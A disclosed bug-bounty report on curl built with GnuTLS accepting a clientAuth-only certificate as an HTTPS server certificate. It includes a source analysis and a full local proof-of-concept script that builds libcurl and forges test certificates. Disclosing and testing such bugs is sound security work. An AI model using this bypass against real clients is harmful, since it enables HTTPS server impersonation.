HexBrain

curl · Report #3752567

curl GnuTLS backend accepts a clientAuth-only certificate for HTTPS server authentication

N/Astatus
mediumseverity
24upvotes
25 May 2026disclosed

How it was found

Summary:

When curl/libcurl is built with the GnuTLS backend, the current HTTPS server-certificate validation path verifies the trust chain and hostname but does not enforce TLS server Extended Key Usage semantics. As a result, a leaf certificate that chains to a trusted CA, matches the requested hostname, and explicitly allows only clientAuth can still be accepted as an HTTPS server certificate. This lets an attacker who has a wrong-purpose but trusted certificate and private key impersonate an HTTPS server to affected clients, even though a correct client should reject that certificate for server authentication. The issue is not a caller-misuse or invalid-input crash: it is a runtime authentication gap in curl's GnuTLS integration. The inline PoC below self-builds the current source tree with GnuTLS and demonstrates that a valid serverAuth certificate succeeds, a clientAuth-only certificate incorrectly also succeeds, and a separate key-usage-only invalid control certificate is rejected.

Affected version

Validated locally on current master / HEAD:

d24652971a636a4b2374367434ed72bb561b79bc

The self-built probe from the current tree reports:

libcurl/8.21.0-DEV GnuTLS/3.8.3 libidn2/2.3.7 libpsl/0.21.2

Platform used for validation:

Linux x86_64 (Ubuntu-based environment)

I validated the issue against the current source tree. I have not yet finished a full historical bisection for the original introduction point, so the report should be treated as confirmed on current master at minimum.

Source-level explanation

The current source code shows why this happens.

First, the GnuTLS backend initializes trust verification flags, but it does not configure any TLS server EKU requirement:

gnutls_certificate_set_verify_flags(creds,
                                    GNUTLS_VERIFY_ALLOW_X509_V1_CA_CRT);

Then gtls_verify_cert() in lib/vtls/gtls.c makes the trust decision from gnutls_certificate_verify_peers2() and treats "not marked invalid" as a successful certificate verification:

int rc = gnutls_certificate_verify_peers2(session, &verify_status);
...
verified = !(verify_status & GNUTLS_CERT_INVALID);
if(verified)
  infof(data, "  SSL certificate verified by GnuTLS");

Later, Curl_gtls_verifyserver() imports the leaf certificate and performs a separate hostname check:

rc = (int)gnutls_x509_crt_check_hostname(x509_cert,
                                         peer->sni ? peer->sni :
                                         peer->dest->hostname);
result = (!rc && config->verifyhost) ?
  CURLE_PEER_FAILED_VERIFICATION : CURLE_OK;

That means the current curl validation flow is effectively:

  1. trust chain check
  2. time validity check
  3. hostname check

What is missing is the server-purpose check on the end-entity certificate. There is no equivalent of:

gnutls_x509_crt_check_key_purpose(x509_cert,
                                  GNUTLS_KP_TLS_WWW_SERVER, 0);

or a switch to the GnuTLS verification API that enforces end-certificate purpose.

So if the attacker presents a certificate that:

  • chains to a trusted CA
  • matches the requested hostname
  • has an EKU extension that contains only clientAuth

the current curl code still reaches the "verified" path because it never adds the missing "must be valid for TLS WWW server authentication" decision step.

Steps To Reproduce:

From the repository root, run the following self-contained script. It does not depend on any local PoC file. It exports a clean tracked-source snapshot with git archive, downloads GnuTLS development packages into a temporary user-local SDK, builds the current source tree with the GnuTLS backend only, generates a local CA plus three test leaf certificates, starts real TLS servers, and then uses a tiny current-source libcurl probe with certificate verification enabled to connect to each case.

set -euo pipefail

REPO_ROOT="$PWD"
if [ ! -d "$REPO_ROOT/.git" ]; then
  echo "run this from the curl git repository root" >&2
  exit 1
fi

for cmd in apt-get awk cc cmake dpkg-deb getconf git ldconfig openssl sed ss tar; do
  command -v "$cmd" >/dev/null 2>&1 || {
    echo "missing required command: $cmd" >&2
    exit 1
  }
done

find_so() {
  local soname="$1"
  local path
  path="$(
    ldconfig -p | awk -v so="$soname" '
      $1 == so && $0 ~ /x86-64/ { print $NF; found=1; exit }
      $1 == so && !fallback { fallback=$NF }
      END {
        if(!found && fallback)
          print fallback
      }'
  )"
  [ -n "$path" ] || {
    echo "unable to locate shared library: $soname" >&2
    exit 1
  }
  printf '%s\n' "$path"
}

port_free() {
  ! ss -ltn "( sport = :$1 )" | grep -q LISTEN
}

pick_port_base() {
  local base
  for base in 29443 29446 29449 29452 29455; do
    if port_free "$base" && port_free "$((base + 1))" && port_free "$((base + 2))"; then
      printf '%s\n' "$base"
      return
    fi
  done
  echo "unable to find three consecutive free TCP ports" >&2
  exit 1
}

WORKDIR="$(mktemp -d "${TMPDIR:-/tmp}/curl-gnutls-eku-XXXXXX")"
trap 'jobs -p | xargs -r kill 2>/dev/null || true; echo "[*] workdir kept at: $WORKDIR"' EXIT
DEBS_DIR="$WORKDIR/debs"
SDK_ROOT="$WORKDIR/sdk"
SRC_ROOT="$WORKDIR/src"
BUILD_ROOT="$WORKDIR/build"
CERT_ROOT="$WORKDIR/certs"
PROBE_C="$WORKDIR/libcurl_eku_probe.c"
PROBE_BIN="$WORKDIR/libcurl_eku_probe"

PORT_BASE="$(pick_port_base)"
GOOD_PORT="$PORT_BASE"
BADEKU_PORT="$((PORT_BASE + 1))"
BADKU_PORT="$((PORT_BASE + 2))"

echo "[*] repo: $REPO_ROOT"
echo "[*] commit: $(git -C "$REPO_ROOT" rev-parse HEAD)"
echo "[*] workdir: $WORKDIR"
echo "[*] ports: good=$GOOD_PORT badeku=$BADEKU_PORT badku=$BADKU_PORT"

mkdir -p "$DEBS_DIR" "$SDK_ROOT" "$SRC_ROOT" "$BUILD_ROOT" "$CERT_ROOT"

echo "[*] downloading user-local build dependencies"
(
  cd "$DEBS_DIR"
  apt-get download \
    libgnutls28-dev \
    nettle-dev \
    libidn2-dev \
    libtasn1-6-dev \
    libunistring-dev \
    libp11-kit-dev \
    libnghttp2-dev >/dev/null
)

echo "[*] extracting development packages"
for deb in "$DEBS_DIR"/*.deb; do
  dpkg-deb -x "$deb" "$SDK_ROOT"
done

echo "[*] exporting a clean tracked-source snapshot"
git -C "$REPO_ROOT" archive --format=tar HEAD | tar -xf - -C "$SRC_ROOT"

echo "[*] configuring a current-source GnuTLS build"
PKG_CONFIG_PATH="$SDK_ROOT/usr/lib/x86_64-linux-gnu/pkgconfig:$SDK_ROOT/usr/lib/pkgconfig" \
PKG_CONFIG_SYSROOT_DIR="$SDK_ROOT" \
cmake -S "$SRC_ROOT" -B "$BUILD_ROOT" \
  -DCURL_USE_GNUTLS=ON \
  -DCURL_USE_OPENSSL=OFF \
  -DBUILD_SHARED_LIBS=OFF \
  -DBUILD_STATIC_LIBS=ON \
  -DBUILD_TESTING=OFF \
  -DBUILD_LIBCURL_DOCS=OFF \
  -DBUILD_MISC_DOCS=OFF \
  -DCURL_ZLIB=OFF \
  -DCURL_BROTLI=OFF \
  -DCURL_ZSTD=OFF \
  -DUSE_NGHTTP2=OFF >/dev/null

echo "[*] building libcurl.a"
cmake --build "$BUILD_ROOT" --target libcurl_static \
  -j"$(getconf _NPROCESSORS_ONLN 2>/dev/null || echo 4)" >/dev/null

cat >"$PROBE_C" <<'EOF'
#include <stdio.h>
#include <curl/curl.h>

static size_t sink(char *ptr, size_t size, size_t nmemb, void *userdata)
{
  (void)ptr;
  (void)userdata;
  return size * nmemb;
}

int main(int argc, char **argv)
{
  CURL *h;
  CURLcode rc;

  if(argc != 3) {
    fprintf(stderr, "usage: %s <url> <cacert>\n", argv[0]);
    return 2;
  }

  printf("version=%s\n", curl_version());

  rc = curl_global_init(CURL_GLOBAL_DEFAULT);
  if(rc) {
    fprintf(stderr, "curl_global_init=%d\n", (int)rc);
    return 3;
  }

  h = curl_easy_init();
  if(!h) {
    fprintf(stderr, "curl_easy_init failed\n");
    curl_global_cleanup();
    return 4;
  }

  curl_easy_setopt(h, CURLOPT_URL, argv[1]);
  curl_easy_setopt(h, CURLOPT_CAINFO, argv[2]);
  curl_easy_setopt(h, CURLOPT_VERBOSE, 1L);
  curl_easy_setopt(h, CURLOPT_WRITEFUNCTION, sink);

  rc = curl_easy_perform(h);
  fprintf(stderr, "curl_easy_perform=%d (%s)\n",
          (int)rc, curl_easy_strerror(rc));

  curl_easy_cleanup(h);
  curl_global_cleanup();
  return (int)rc;
}
EOF

echo "[*] linking the minimal current-source libcurl probe"
cc \
  -I"$SRC_ROOT/include" \
  -I"$BUILD_ROOT/lib" \
  "$PROBE_C" \
  "$BUILD_ROOT/lib/libcurl.a" \
  "$(find_so libgnutls.so.30)" \
  "$(find_so libnghttp2.so.14)" \
  "$(find_so libpsl.so.5)" \
  "$(find_so libidn2.so.0)" \
  "$(find_so libunistring.so.5)" \
  "$(find_so libnettle.so.8)" \
  "$(find_so libhogweed.so.6)" \
  "$(find_so libgmp.so.10)" \
  "$(find_so libtasn1.so.6)" \
  "$(find_so libp11-kit.so.0)" \
  "$(find_so libffi.so.8)" \
  "$(find_so libz.so)" \
  "$(find_so libbrotlidec.so)" \
  "$(find_so libzstd.so)" \
  "$(find_so libatomic.so.1)" \
  -lpthread \
  -o "$PROBE_BIN"

cat >"$CERT_ROOT/ca.cnf" <<'EOF'
[req]
distinguished_name = dn
x509_extensions = v3_ca
prompt = no

[dn]
CN = eku-test-ca

[v3_ca]
subjectKeyIdentifier = hash
authorityKeyIdentifier = keyid:always,issuer
basicConstraints = critical, CA:true
keyUsage = critical, keyCertSign, cRLSign
EOF

cat >"$CERT_ROOT/server-good.cnf" <<'EOF'
[req]
distinguished_name = dn
req_extensions = v3_req
prompt = no

[dn]
CN = localhost

[v3_req]
subjectAltName = @alt_names
basicConstraints = critical, CA:false
keyUsage = critical, digitalSignature, keyEncipherment
extendedKeyUsage = critical, serverAuth

[alt_names]
DNS.1 = localhost
EOF

cat >"$CERT_ROOT/server-badeku.cnf" <<'EOF'
[req]
distinguished_name = dn
req_extensions = v3_req
prompt = no

[dn]
CN = localhost

[v3_req]
subjectAltName = @alt_names
basicConstraints = critical, CA:false
keyUsage = critical, digitalSignature, keyEncipherment
extendedKeyUsage = critical, clientAuth

[alt_names]
DNS.1 = localhost
EOF

cat >"$CERT_ROOT/server-badku.cnf" <<'EOF'
[req]
distinguished_name = dn
req_extensions = v3_req
prompt = no

[dn]
CN = localhost

[v3_req]
subjectAltName = @alt_names
basicConstraints = critical, CA:false
keyUsage = critical, keyCertSign, cRLSign
extendedKeyUsage = critical, serverAuth

[alt_names]
DNS.1 = localhost
EOF

echo "[*] generating CA"
openssl req -x509 -newkey rsa:2048 -nodes -days 365 \
  -keyout "$CERT_ROOT/ca.key" \
  -out "$CERT_ROOT/ca.crt" \
  -config "$CERT_ROOT/ca.cnf" >/dev/null 2>&1

gen_leaf() {
  local name="$1"
  openssl req -newkey rsa:2048 -nodes \
    -keyout "$CERT_ROOT/$name.key" \
    -out "$CERT_ROOT/$name.csr" \
    -config "$CERT_ROOT/$name.cnf" >/dev/null 2>&1
  openssl x509 -req \
    -in "$CERT_ROOT/$name.csr" \
    -CA "$CERT_ROOT/ca.crt" \
    -CAkey "$CERT_ROOT/ca.key" \
    -CAcreateserial \
    -days 365 \
    -out "$CERT_ROOT/$name.crt" \
    -extfile "$CERT_ROOT/$name.cnf" \
    -extensions v3_req >/dev/null 2>&1
}

echo "[*] generating leaf certificates"
gen_leaf server-good
gen_leaf server-badeku
gen_leaf server-badku

echo "[*] bad EKU leaf:"
openssl x509 -in "$CERT_ROOT/server-badeku.crt" -noout -text | \
  sed -n '/X509v3 Extended Key Usage/,+2p'

echo "[*] bad KU leaf:"
openssl x509 -in "$CERT_ROOT/server-badku.crt" -noout -text | \
  sed -n '/X509v3 Key Usage/,+4p'

SERVER_PID=""
stop_server() {
  if [ -n "${SERVER_PID:-}" ]; then
    kill "$SERVER_PID" >/dev/null 2>&1 || true
    wait "$SERVER_PID" 2>/dev/null || true
    SERVER_PID=""
  fi
}

start_server() {
  stop_server
  openssl s_server \
    -accept "$1" \
    -cert "$2" \
    -key "$3" \
    -www >"$WORKDIR/s_server-$1.log" 2>&1 &
  SERVER_PID="$!"
  sleep 1
  kill -0 "$SERVER_PID" >/dev/null 2>&1 || {
    echo "s_server failed on port $1" >&2
    sed -n '1,120p' "$WORKDIR/s_server-$1.log" >&2 || true
    exit 1
  }
}

run_case() {
  local label="$1"
  local port="$2"
  set +e
  "$PROBE_BIN" "https://localhost:$port/" "$CERT_ROOT/ca.crt" \
    >"$WORKDIR/$label.stdout" \
    2>"$WORKDIR/$label.stderr"
  rc="$?"
  set -e
  echo "[*] $label stdout"
  sed -n '1,80p' "$WORKDIR/$label.stdout"
  echo "[*] $label stderr"
  sed -n '1,160p' "$WORKDIR/$label.stderr"
  printf '%s\n' "$rc"
}

start_server "$GOOD_PORT" "$CERT_ROOT/server-good.crt" "$CERT_ROOT/server-good.key"
GOOD_RC="$(run_case good "$GOOD_PORT" | tail -n1)"

start_server "$BADEKU_PORT" "$CERT_ROOT/server-badeku.crt" "$CERT_ROOT/server-badeku.key"
BADEKU_RC="$(run_case badeku "$BADEKU_PORT" | tail -n1)"

start_server "$BADKU_PORT" "$CERT_ROOT/server-badku.crt" "$CERT_ROOT/server-badku.key"
BADKU_RC="$(run_case badku "$BADKU_PORT" | tail -n1)"

stop_server

echo "[*] result summary: good=$GOOD_RC badeku=$BADEKU_RC badku=$BADKU_RC"
if [ "$GOOD_RC" -eq 0 ] && [ "$BADEKU_RC" -eq 0 ] && [ "$BADKU_RC" -ne 0 ]; then
  echo
  echo "[+] VULNERABLE: current-source libcurl built with GnuTLS accepted a clientAuth-only server certificate."
  echo "[+] Scope note: the KU-only invalid control certificate was rejected, so this reproduces an EKU bypass."
else
  echo
  echo "[-] NOT REPRODUCED" >&2
  exit 1
fi

Expected secure behavior:

  • good should succeed
  • badeku should fail because a certificate whose EKU is only clientAuth must not be accepted for HTTPS server authentication
  • badku should fail as an invalid control case

Observed vulnerable behavior on current HEAD:

  • good succeeds with curl_easy_perform=0
  • badeku also succeeds with curl_easy_perform=0
  • badku fails with curl_easy_perform=35
  • the probe logs SSL certificate verified by GnuTLS in the vulnerable badeku case

Relevant code path in the current tree:

  • lib/vtls/gtls.c: gtls_verify_cert() relies on gnutls_certificate_verify_peers2()
  • lib/vtls/gtls.c: hostname verification is then done separately with gnutls_x509_crt_check_hostname()
  • no equivalent TLS server purpose enforcement is performed on the leaf certificate before the connection is accepted

Why this is not just “the attacker already has a certificate, so who cares”:

  • the attacker does not need a proper HTTPS server certificate
  • the attacker only needs a trusted certificate and key that should be limited to client authentication
  • without this bug, a correct HTTPS client would reject that wrong-purpose certificate for server impersonation
  • with this bug, affected curl/libcurl clients upgrade that lower-privilege credential into a working server-authentication credential

Impact

Summary:

An attacker who can obtain a hostname-matching certificate and private key that chain to a CA trusted by the victim, but whose EKU is limited to clientAuth, can impersonate an HTTPS server to affected curl/libcurl clients built with GnuTLS. This breaks the intended security boundary enforced by EKU: a credential that should only authenticate a client, user, or device can be repurposed as a server identity. The most realistic scenarios are internal or enterprise PKIs that issue both client and service certificates under a trusted CA, mis-issuance where a target-host certificate is created with only clientAuth, or compromise of a client-certificate private key that should not be usable for HTTPS server impersonation. In those cases, a man-in-the-middle or traffic-redirection attacker can present the wrong-purpose certificate during the TLS handshake and still get a successful HTTPS connection from affected curl/libcurl clients. The result is a real certificate-authentication bypass and HTTPS server impersonation against clients that believe certificate verification is fully enabled.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original